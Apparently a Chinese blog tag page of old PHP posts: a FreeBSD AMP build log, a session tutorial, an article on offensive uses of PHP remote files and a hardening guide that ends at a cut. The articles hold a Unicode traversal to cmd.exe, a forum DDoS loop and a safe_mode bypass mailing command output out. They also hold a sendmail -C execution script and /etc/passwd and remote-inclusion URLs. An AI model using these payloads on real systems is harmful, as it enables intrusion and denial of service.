标签 php 下的文章

由于一直在生产环境中使用 FreeBSD 操作系统,平时经常会在虚拟机上装 N 多个系统用于测试。有些测试需要从干净的环境开始,所以经常建重复的虚拟机,让人无聊无比。如何快速搭建测试所需环境,成为了这种无聊事情中唯一有乐趣的事情。

一般来说,AMP 环境是众多测试项目环境的基础。譬如邮件系统、远程监控管理等众多应用都会用到 ApacheMySQL 等组件。因此,快速搭建 AMP 环境是那些有乐趣的事情中的重点。我们崇尚 BT 精神,追求搭建 AMP 环境的速度。公司里也有个文档,每次搭建一个就掐秒表,搭完了记录一下,看谁能保持最快纪录。

我初学 FreeBSD,对这样的竞赛不敢留有想法。要知道某些列车并不是我们这些泛泛之辈可以赶上的。为了让自己的动作也快一些,再快一些,我也做了这样一个笔记。

首先是一些时刻准备着的包:

www# ls
APC-3.0.13.tgz                                  jpeg-6b.diff.gz
Authen-SASL-2.10.tar.gz                         jpegsr6.zip
GD-2.35.tar.gz                                  jpegsrc.v6b.tar.gz
libgcrypt-1.2.4.tar.gz                          Storable-2.16.tar.gz
libiconv-1.11.tar.gz                            Unix-Syslog-0.100.tar.gz
libpng-1.2.12.tar.bz2                           ZendOptimizer-3.2.6-freebsd6.0-i386.tar.gz
libxml2-2.6.26.tar.bz2                          m4-1.4.9.tar.gz
autoconf-2.60.tar.bz2                           maildrop-2.0.4.tar.bz2
automake-1.9.6.tar.bz2                          make-3.81.tar.bz2
mhash-0.9.7.tar.bz2                             mm-1.4.2.tar.bz2
cyrus-sasl-2.1.22.tar.gz                        mysql-5.0.37.tar.gz
mysql_configure.sh                              pcre-6.7.tar.bz2
freetds-stable.tgz                              pcre-7.0.tar.bz2
freetype-2.1.9.tar.bz2                          perl-5.8.8.tar.bz2
freetype-2.3.2.tar.gz                           php-5.2.3.tar.bz2
freeze-2.5.tar.gz                               php_configure.sh
gd-2.0.34.tar.bz2                               gettext-0.16.tar.gz
pure-ftpd-1.0.21.tar.gz                         gmp-4.2.1.tar.bz2
wget-1.9.tar.gz                                 gzip-1.3.5.tar.bz2
zlib-1.2.3.tar.bz2                              httpd_configure.sh
其中 php_configure.sh 是 PHP 编译脚本,mysql_configure.sh 是 MySQL 编译脚本,httpd_configure.sh 是 Apache 编译脚本,其内容如下:

www# more php_configure.sh
#!/bin/sh
./configure --prefix=/usr/local/php --disable-cgi --sysconfdir=/etc --with-apxs2=/usr/local/apache/bin/apxs --enable-discard-path --
with-config-file-path=/etc/apache --enable-hash --with-openssl --with-mhash --enable-bcmath --with-bz2 --enable-calendar --enable-ct
ype --enable-dbase --enable-ftp --with-iconv --enable-exif --with-gd --enable-gd-native-ttf --with-zlib=/usr --with-ttf --with-freet
ype-dir=/usr --with-png --with-gmp --enable-mbstring --enable-mbregex --with-pcre-regex=/usr --with-mysql=/usr/local/mysql --with-my
sql-sock=/tmp/mysql.sock --enable-pdo --with-pdo-mysql=/usr/local/mysql --with-mssql=/usr/local/freetds --with-gettext=shared,/usr -
-with-expat-dir=/usr --with-xml --enable-wddx --with-mm=/usr --enable-sockets --disable-debug --disable-ipv6 --enable-memory-limit -
-enable-inline-optimization --enable-zend-multibyte --with-tsrm-pthreads --with-jpeg-dir=/usr --enable-zip

# LoadModule php5_module libexec/libphp5.so
# AddModule mod_php5.c               
# AddType application/x-httpd-php .php .phtml
www# more mysql_configure.sh
#!/bin/sh
# mysql configure
./configure --prefix=/usr/local/mysql --enable-assembler \
            --disable-largefile --with-charset=gbk \
            --with-pthread --with-zlib-dir=/usr \
            --without-debug --with-openssl=/usr --without-docs \
            --without-man
www# more httpd_configure.sh
./configure --prefix=/usr/local/apache --sysconfdir=/etc/apache --enable-modules=all --enable-mods-shared=all --enable-cache --enabl
e-mime-magic --enable-mem-cache --enable-ssl --enable-cgi --enable-rewrite --enable-isapi --enable-so
下面的过程已经比较精简了,就不再注释:

www# tar -xzvf wget-1.9.tar.gz
www# cd wget-1.9
www# ./configure
www# make
www# make install

www# file /usr/local/bin/wget
/usr/local/bin/wget: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), not stripped

www# /usr/local/bin/wget http://apache.mirror.phpchina.com/httpd/httpd-2.2.8.tar.gz
www# tar -xzvf httpd-2.2.8.tar.gz

www# /usr/local/bin/wget http://192.168.0.200/mysql-5.0.45.tar.gz
www# tar -xzvf mysql-5.0.45.tar.gz

www# /usr/local/bin/wget http://cn.php.net/get/php-5.2.5.tar.gz/from/this/mirror
www# tar xzvf php-5.2.5.tar.gz

www# cd ..
www# tar -xzvf zlib-1.2.3.tar.bz2
www# cd zlib-1.2.3
www# ./configure -s
www# make
www# make install

www# cd ../mysql-5.0.45
www# sh ../mysql_configure.sh
www# make
www# make install

www# cd ../httpd-2.2.8
www# sh ../httpd_configure.sh
www# make
www# make install

www# cd ..
www# tar -xzvf freetds-stable.tgz
www# cd freetds-0.64/
www# ./configure --prefix=/usr/local/freetds
www# make
www# make install

www# cd ..
www# tar -xzvf libiconv-1.11.tar.gz
www# cd libiconv-1.11
www# ./configure
www# make
www# make install

www# cd ..

www# file /usr/local/apache/bin/apxs
/usr/local/apache/bin/apxs: a /replace/with/path/to/perl/inte script text executable

www# tar -xzvf pcre-6.7.tar.bz2
www# cd pcre-6.7
www# ./configure
www# make
www# make install

www# cd ..
www# tar -xzvf perl-5.8.8.tar.bz2
www# cd perl-5.8.8
www# rm -f config.sh Policy.sh
www# sh Configure -de
www# make
www# make test
www# make install

www# file /usr/bin/perl
/usr/bin/perl: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), not stripped

www# vi /usr/local/apache/bin/apxs

#!/replace/with/path/to/perl/interpreter -w 换成

#!/usr/bin/perl -w www# cd ..
www# tar -xzvf libxml2-2.6.26.tar.bz2
www# cd libxml2-2.6.26
www# ./configure
www# make
www# make install

www# cd ..
www# tar -xzvf gzip-1.3.5.tar.bz2
www# cd gzip-1.3.5
www# ./configure
www# make
www# make install

www# cd ..
www# tar xzvf jpegsrc.v6b.tar.gz
www# gzip -d jpeg-6b.diff.gz
www# cd jpeg-6b
www# ./configure --prefix=/usr/local --enable-shared
www# make
www# make install

www# cd ..
www# tar -xzvf libpng-1.2.12.tar.bz2
www# cd libpng-1.2.12
www# ./configure
www# make
www# make check
www# make install

www# cd ..
www# tar -xzvf make-3.81.tar.bz2
www# cd make-3.81
www# ./configure
www# make
www# make check
www# make install

www# tar -xzvf freetype-2.1.9.tar.gz
www# cd freetype-2.1.9
www# /usr/local/bin/make
www# /usr/local/bin/make (没错,的确是两遍)
www# /usr/local/bin/make install

www# cd ..
www# tar -xzvf gettext-0.16.tar.gz
www# cd gettext-0.16
www# ./configure
www# make
www# make install

www# cd ..
www# tar -xzvf gmp-4.2.1.tar.bz2
www# cd gmp-4.2.1
www# ./configure
www# make
www# make check
www# make install

www# cd ..
www# tar -xzvf mhash-0.9.7.tar.bz2
www# cd mhash-0.9.7
www# ./configure
www# make
www# make install

www# cd ..
www# tar -xzvf mm-1.4.2.tar.bz2
www# cd mm-1.4.2
www# ./configure
www# make
www# make test
www# make install

www# cd ../php-5.2.5
www# sh ../php_configure.sh
www# make
www# make test
www# make install
未完待续。

自从 PHP 4.0 中加入了对 session 的支持,越来越多的诸如购物车、论坛、会员系统等的开发案例就如雨后春笋一般出现了。一般而言,session 的生命期是有限的。如果用户关闭了浏览器,session 会自动失效。那么如何实现 session 的永久生命期呢?

session 储存在服务器端,根据客户端提供的 session_id 来得到这个用户的文件,然后读取文件,取得变量的值。session_id 可以使用客户端的 cookie 或者 http 1.1 协议的 query_string(也就是访问的 URL 的“?”后面的部分)来传送给服务器,然后服务器读取 session 的目录。

要实现 session 的永久生命期,首先需要了解一下 php.ini 关于 session 的相关设置(打开 php.ini 文件,在“[Session]”部分):

1、session.use_cookies:默认的值是“1”,代表 session_id 使用 cookie 来传递,反之就是使用 query_string 来传递;
2、session.name:这个就是 session_id 储存的变量名称,可能是 cookie,也可能是 query_string 来传递,默认值是“PHPSESSID”;
3、session.cookie_lifetime:这个代表 session_id 在客户端 cookie 储存的时间,默认是“0”,代表浏览器一关闭 session_id 就作废。正因为这个原因,session 不能永久使用;
4、session.gc_maxlifetime:这个是 session 数据在服务器端储存的时间,如果超过这个时间,session 数据就自动删除。

前面说过,服务器通过 session_id 来读取 session 的数据,但是一般浏览器传送的 session_id 在浏览器关闭后就没有了。只需要人为的设置 session_id 并且保存下来,理论上就可以实现无限生命期的 session。

如果拥有服务器的操作权限,那么设置会非常的简单,只是需要进行如下的步骤:
1、把“session.use_cookies”设置为“1”,打开 cookie 储存 session_id。一般默认就是“1”,不必再修改;
2、把“session.cookie_lifetime”改为正无穷(当然没有正无穷的参数,不过 999999999 和正无穷也没有什么区别);
3、把“session.gc_maxlifetime”设置为和“session.cookie_lifetime”一样的时间。

设置完毕后,打开编辑器,输入如下代码:

<?php
session_start
();
session_register('count');
$_SESSION['count'] = 0;
$_SESSION['count'] ++;
echo 
$_SESSION['count'];
?>
然后保存为“session_check.php”,用浏览器打开“session_check.php”,看看显示的是不是“1”;接着再关闭浏览器,然后再打开浏览器访问“session_check.php”,如果显示“2”,那么表明实验已经成功;如果失败的话,请检查前面的设置。

但是如果没有服务器的操作权限,那就比较麻烦了。需要通过 php 脚本改写 session_id 来实现永久的 session 数据保存。查看 php 手册,可以看到有“session_id”这个函数:如果没有设置参数,那么将返回当前的 session_id,如果设置了参数,就会将当前的 session_id 设置为给出的值。

只要利用永久性的 cookie 加上“session_id”函数,就可以实现永久 session 数据保存了。但是为了方便,需要知道服务器设置的“session.name”,可以利用“phpinfo”这个函数来查看到,一般是“PHPSESSID”。

记下了 session_id 的名称后,就可以实现永久的 session 数据储存了。打开编辑器,输入下面的代码:

<?php
session_start
();
session_register('count');
if(isset(
$_SERVER['PHPSESSID'])) {
    
session_id($PHPSESSID);
}
$_SERVER['PHPSESSID'] = session_id();
$_SESSION['count'] ++;
setcookie('PHPSESSID'$_SERVER['PHPSESSID'], time()+3156000);
echo 
$_SESSION['count'];
?>
保存之后,利用和刚才拥有服务器权限时候的检测一样的方法,检测是否成功的保存了 session_id。

后记:
其实真正的永久储存是不可能的,因为 cookie 的保存时间有限,一旦清除了 cookie 上面的方法也就失效了;另外,服务器的存储空间也有限。但是对于一些需要保存时间比较长的站点,以上方法就已经足够了。

本文原载旧版博客 2005 年 9 月 18 日。虽然现在再看有些生涩,却有一定的实际应用价值。

1、远程文件

PHP 是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:

<?php
$fp 
= @fopen($url"r") or die ("cannot open $url");
while (
$line = @fgets($fp1024)) {
    
$contents .= $line;
}
echo 
$contents//显示文件内容
fclose($fp); //关闭文件
?>
以上是一段利用 fopen 函数打开文件的代码,由于 fopen 函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为 proxy.php,然后后提交:

/proxy.php?url=http://www.xxx.com fopen 函数可以从任何其 Web 或 FTP 站点读取文件,事实上 PHP 的大多数文件处理函数对远程文件都是透明的,比如请求:

/proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir 这样实际上是利用了 target 主机上的 unicode 漏洞,执行了 dir 命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如 51 的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过 phpinfo() 查看服务器是否支持这种功能。当然,在 phpinfo() 被禁用的情况下,也可以使用 get_cfg_var()

<?php
echo "是否允许使用远程文件(allow_url_Fopen)";
get_cfg_var("allow_url_Fopen") == "1" ? echo("<font color=green><b>是</b></font>") : echo("<font color=red><b>否</b></font>");
?>
当 allow_url_fopen 一项参数为 on 时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过 PHP Flame 的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了 Web 间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的 Web 目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:

<?php
$fp 
fopen($_GET['filename'], 'rb'); //打开文件
$data $tmp '';
while (
true) {
    
$tmp fgets($fp1024);
    if ( 
=== strlen($tmp) ) {
        break; 
//跳出while循环
    
}
    
$data .= $tmp;
}
fclose($fp); //关闭文件
$file preg_replace("/^.+//"""$filename); //转换文件名
//write
$fp fopen("$file"'wb'); //生成文件
fwrite($fp$data); //写入数据
fclose($fp);
?>
在调用 fopen 和 fwrite 函数时加入 "b" 标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:

/down.php?filename=http://www.xxx.com/xxx.zip 这时便会在 down.php 的所处目录下生成相应的 xxx.zip 文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写 SQL Injection 攻击的自动脚本,甚至是 HTTP 的代理服务:

<?php
$url 
getenv("QUERY_STRING");
if (!
ereg("^http"$url)) //检查输入的URL格式
{
    echo 
"例子:<br />http://www.163.com/<br />";
    echo 
"http://www.xxxx.com/list.php?id=600<br />";
    echo 
"当URL为目录时需要在目录后加入"/"";
    exit;
}
if (
$url)
    
$url=str_replace("\\""/"$url);
$f = @fopen($url"r"); //打开文件
$a "";
if (
$f)
{
    while(!
feof($f))
    
$a .= @fread($f8000); //读取文件
    
fclose($f);
}
$rooturl preg_replace("/(.+/)(.*)/i","\\1",$url); //转换根目录
$a preg_replace("/(src[[:space:]]*=['"])([^h].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'"].*?)/is","\\1$rooturl\\2",$a); //转换图片地址
$a = preg_replace("/(action[[:space:]]*=['"])([^h].*?)/is"
,"\\1$php_self?$rooturl\\2",$a);
$a preg_replace("/(action[[:space:]]*=)([^h'"].*?)/is","\\1$php_self?$rooturl\\2",$a); //转换POST地址
$a = preg_replace("/(<a.+?href[[:space:]]*=['"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=[^'"])([^h].*?)/is"
,"\\1$php_self?$rooturl\\2",$a);//转换链接地址
$a preg_replace("/(link.+?href[[:space:]]*=[^'"])(.*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['"])(.*?)/is","\\1$rooturl\\2",$a); //转换样式表地址
echo $a;
exit;
?>
在正则表达式的帮助下,以上代码能够自行地将返回页面中包含的链接和图片进行转换,并把页面内的链接自动提交到当前 PHP 脚本的 $url 中。例如提交:

/proxy.php?http://www.xfocus.net 脚本将会返回 http://www.xfocus.net 的内容。

当然,这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的 Web 后门,或者将肉鸡做成一个简单的 HTTP 代理,从而更好的隐藏自己的IP。如果使用 PHP 编写 CGI 扫描工具,你需要延长 PHP 的有效运行时间。以下是两种有效的方法,当然你也可以将 PHP 代码编译成 GUI 界面,从而解决这个问题。设置 PHP 的有效运行时间为三分钟:

<?php ini_set("max_execution_time",60*3); ?>
<?php set_time_limit
(60*3); ?>
我们再看看这种功能在 DDOS 攻击中的应用:

<?php
set_time_limit
(60*3);
$url "http://www.xxx.com/bbs/userlist.php?userid=";
for (
$i 1131$i <= 1180$i ++)
{
    
$urls $url $i//将$url与$i链接在一起
    
$f = @fopen($urls"r"); //请求$urls
    
$a = @fread($f10); //取出部分内容
    
fclose($f); //关闭$urls
}
?>
以上用 for 循环不断地请求 userlist.php?userid=$i 的内容($i 的值每次都是不同的),但是打开后仅仅取出几个字节便关闭这个脚本了。PHP 运行在虚拟主机上,10秒钟便可以打开几十个 URL,当同时运行多个进程时,便有可能实现 DDOS 攻击,让对方的论坛迅速崩溃。

2、错误回显

PHP 在默认的情况下打开错误回显,这样可以便于程序员在调试脚本时发现代码的错误,但是这也往往使 Web 暴露了 PHP 的代码和服务器的一些数据。PHP 对代码的规范性要求比较严格,以下是一种比较常见的错误回显:

warning:file("data/1120'.htm)-no such file or directory in /usr/home/xxxxx.com/show.php on line 300 这种错误回显,至少告诉了我们三个信息:服务器的操作系统是 Linux;服务器使用文本数据库;show.php 的第 300 行代码为 "file ("./data/1120/".$data.".htm")"。

这种错误回显,已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看,我们发现一般的 PHP 错误回都包含了 "warning" 字符,但是这有什么用呢?我们得先认识一下 PHP 的库文件。

PHP 的 include()require() 主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。
最初,人们开发和发布 PHP 程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个 ".inc" 的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被 PHP 解释器正确解析为 PHP 代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把 PHP 作为 Apache 的模块使用时,PHP 解释器是根据文件的扩展名来决定是否解析为 PHP 代码的。扩展名是站点管理员指定的,一般是 ".php", ".php3" 和 ".php4"。如果重要的配置数据被包含在没有合适的扩展名的 PHP 文件中,那么远程攻击者将容易得到这些信息。
按照以往的程序员的习惯,往往会把一些重要的文件设定 "config.inc", "coon.inc" 等形式,如果我们在搜索引擎中搜索 "warning+config.inc",那么你会发现许多网站都暴露了 ".inc" 文件的代码,甚至包括许多商业和政府网站。

要关闭 PHP 的错误回显通常有两个方法,第一个是直接修改 php.ini 中的设置,这我们以前已经介绍过了;第二种方法是在 PHP 脚本中加入抑制错误回显的代码,你可以在调用的函数前函数加入 "@" 字符,或者在 PHP 的代码顶端加入 "error_reporting(0);" 的代码,要了解更多的内容请参考PHP手册中的 "error_reporting" 一节。

3、变量回显

Web 的安全问题主要集中变量的处理上,对变量的处理不当,会导致多种安全问题。先看一下的例子:

<select name="face">
<option value="1.gif">1.gif</option>
<option value="2.gif">2.gif</option>
......
$face 的值按照程序员的意图应仅设定在下拉菜单中供用户选择,但是事实上我们可以通过 POST 的方法直接指定 $face 的值骗过程序:

&data=……" target="_blank">http://target/bbs/edit.php?action=reface&u...t>&data=...... 程序接到 $face 的值后未经过任何处理,便将它显示出来了:

<img scr ="<?php echo $face?>" > 从而导致了跨站脚本攻击等安全问题,用这种方法,你甚至可以向 PHP 文本数据库中写入 WebShell。作为程序员,你可以使用正则表达式检查用户的输入内容。如:

<?php
if (ereg (">",$face)) {
echo 
"头像有误";
exit;
}
?>
这仅是一种简单的检查方法,不要依赖于 PHP 自动为特殊字符增加 "" 的功能,这样往往会让你得到意想不到的恶果。

PHP 就一门 CGI 语言而言,它的功能已不仅仅局限于编写网站,它的一些安全问题也不可避免的存在,如:PHP 的Safe Mode 并不能真正限制可执行脚本的运行;PHP 也可以编写 GUI 界面的程序;由于 "include" 等函数的存在使得 PHP 后门根本不可能被查杀;PHP 同样能够使用多线程处理命令。以不同的角度看 PHP,你才能更充分发挥它功能。

本文原载旧版博客 2005 年 8 月 27 日,用 lucky 的话说,这又是一次人肉转移

一、Web 服务器安全

PHP 其实不过是 Web 服务器的一个模块功能,所以首先要保证 Web 服务器的安全。当然 Web 服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP 可以和各种 Web 服务器结合,这里也只讨论 Apache。非常建议以chroot 方式安装启动 Apache,这样即使 Apache 和 PHP 及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用 chroot 的 Apache 后,给应用也会带来一定的麻烦,比如连接 mysql 时必须用 127.0.0.1 地址使用 tcp 连接而不能用 localhost 实现 socket 连接,这在效率上会稍微差一点。还有 mail 函数发送邮件也是个问题,因为 php.ini 里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = [email protected]
都是针对 Win32 平台,所以需要在 chroot 环境下调整好 sendmail。

二、PHP 本身问题

1、远程溢出

PHP-4.1.2 以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun

2、远程拒绝服务

PHP-4.2.0 和 PHP-4.2.1 存在 PHP multipart/form-data POST 请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode 绕过漏洞

还有 PHP-4.2.2 以下到 PHP-4.0.5 版本都存在 PHP mail 函数绕过 safe_mode 限制执行命令漏洞,4.0.5 版本开始 mail 函数增加了第五个参数,由于设计者考虑不周可以突破 safe_mode 的限制执行命令。其中 4.0.5 版本突破非常简单,只需用分号隔开后面加 shell 命令就可以了,比如存在 PHP 脚本 evil.php:

<?php mail("foo@bar,"foo","bar","",$bar); ?> 执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]

这将 id 执行的结果发送给 [email protected]

对于 4.0.6 至 4.2.2 的 PHP 突破 safe_mode 限制其实是利用了 sendmail 的 -C 参数,所以系统必须是使用 sendmail。如下的代码能够突破 safe_mode 限制执行命令:

<?php
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script "/tmp/script123";
$cf "/tmp/cf123";

$fd fopen($cf"w");
fwrite($fd"OQ/tmp
Sparse = 0
R$*" 
chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh 
$script");
fclose($fd);

$fd fopen($script"w");
fwrite($fd"rm -f $script $cf; ");
fwrite($fd$cmd);
fclose($fd);

mail("nobody""""""""-C$cf");
?>
还是使用以上有问题版本 PHP 的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP 本身的安全配置

PHP 的配置非常灵活,可以通过 php.ini, httpd.conf, .htaccess文件(该目录必须设置了 AllowOverride All 或 Options)进行设置,还可以在脚本程序里使用 ini_set() 及其他的特定的函数进行设置。通过 phpinfo() 和 get_cfg_var() 函数可以得到配置选项的各个值。

如果配置选项是唯一 PHP_INI_SYSTEM 属性的,必须通过 php.ini 和 httpd.conf 来修改,它们修改的是 PHP 的 Master 值,但修改之后必须重启 apache 才能生效。其中 php.ini 设置的选项是对 Web 服务器所有脚本生效,httpd.conf 里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的 PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL 属性的选项就可以使用 .htaccess 文件设置,也可以通过在脚本程序自身用 ini_set() 函数设定,它们修改的是 Local 值,改了以后马上生效。但是 .htaccess 只对当前目录的脚本程序生效,ini_set() 函数只对该脚本程序设置 ini_set() 函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的 main.c 文件得到所有的选项,以及它的属性:

#grep PHP_INI_ /PHP_SRC/main/main.c 在讨论 PHP 安全配置之前,应该好好了解 PHP 的 safe_mode 模式。

1、safe_mode

safe_mode 是唯一 PHP_INI_SYSTEM 属性,必须通过 php.ini 或 httpd.conf 来设置。要启用 safe_mode,只需修改 php.ini:

safe_mode = On 或者修改 httpd.conf,定义目录:

<Directory /var/www>
  Options FollowSymLinks
  php_admin_value safe_mode 1
</Directory>
重启 apache 后 safe_mode 就生效了。启动 safe_mode,会对许多 PHP 函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本 UID 相同的文件,比如 test.php 脚本的内容为:

<?php include("index.html"); ?> 几个文件的属性如下:

# ls -la
total 13
drwxr-xr-x  2 root   root     104 Jul 20 01:25 .
drwxr-xr-x  16 root   root     384 Jul 18 12:02 ..
-rw-r--r--  1 root   root     4110 Oct 26 2002 index.html
-rw-r--r--  1 www-data www-data    41 Jul 19 19:14 test.php
在浏览器请求 test.php 会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect.
The script whose uid/gid is 33/33 is not allowed to access ./index.html
owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的 UID 和脚本 UID 一致,那么该文件的 UID 即使和脚本不同也可以访问的,不知这是否是 PHP 的一个漏洞还是另有隐情。所以 php 脚本属主这个用户最好就只作这个用途,绝对禁止使用 root 做为 php 脚本的属主,这样就达不到 safe_mode 的效果了。

如果想将其放宽到 GID 比较,则打开 safe_mode_gid 可以考虑只比较文件的 GID,可以设置如下选项:

safe_mode_gid = On 设置了 safe_mode 以后,所有命令执行的函数将被限制只能执行 php.ini 里 safe_mode_exec_dir 指定目录里的程序,而且 shell_exec、`ls -l` 这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在 php.ini 做如下设置:

safe_mode_exec_dir = /usr/local/php/exec 然后拷贝程序到该目录,那么 php 脚本就可以用 system 等函数来执行该程序。而且该目录里的 shell 脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量。

safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然 safe_mode 不是万能的(低版本的 PHP 可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用 safe_mode 会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考 PHP 手册。

讨论完 safe_mode 后,下面结合程序代码实际可能出现的问题讨论如何通过对 PHP 服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认 register_globals = On,对于 GET, POST, Cookie, Environment, Session 的变量可以直接注册成全局变量。它们的注册顺序是 variables_order = "EGPCS"(可以通过 php.ini 修改),同名变量 variables_order 右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

<?php
//test_1.php

if ($pass == "hello")
  
$auth 1;

if (
$auth == 1)
  echo 
"some important information";
else
  echo 
"nothing";
?>
攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如 phpnuke 的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0 发布的时候建议关闭 register_globals,并提供了 7 个特殊的数组变量来使用各种变量。对于从 GET、POST、COOKIE 等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0 发布的时候,php.ini 默认配置就是 register_globals = Off。这使得程序使用 PHP 自身初始化的默认值,一般为 0,避免了攻击者控制判断变量。

解决方法:

配置文件 php.ini 设置 register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

<?php
//test_2.php

if (!($str readfile("$filename"))) {
  echo(
"Could not open file: $filename<br />");
  exit;
}
else {
  echo 
$str;
}
?>
由于攻击者可以指定任意的 $filename,攻击者用如下的请求就可以看到 /etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读 php 文件本身:

http://victim/test_2.php?filename=test_2.php

PHP 中文件打开函数还有 fopen(), file() 等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把 php 的文件操作限制在 web 目录里面。以下是修改 apache 配置文件 httpd.conf 的一个例子:

<Directory /usr/local/apache/htdocs>
  php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重启 apache 后,/usr/local/apache/htdocs 目录下的 PHP 脚本就只能操作它自己目录下的文件了,否则 PHP 就会报错:

Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
使用 safe_mode 模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

<?php
//test_3.php

if(file_exists($filename))
  include(
"$filename");
?>
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到 /etc/passwd 文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于 Unix 版的 PHP(Win 版的 PHP 不支持远程打开文件)攻击者可以在自己开了 http 或 ftp 服务的机器上建立一个包含 shell 命令的文件,如 http://attack/attack.txt 的内容是 ,那么如下的请求就可以在目标主机执行命令 ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含 apache 的日志文件 access.log 和 error.log 来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:

<?php
//test_4.php

include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的 config.php 文件,然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函数有 include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制 PHP 操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭 PHP 的远程文件打开功能。修改 php.ini 文件:

allow_url_fopen = Off 重启 apache。

5、文件上传

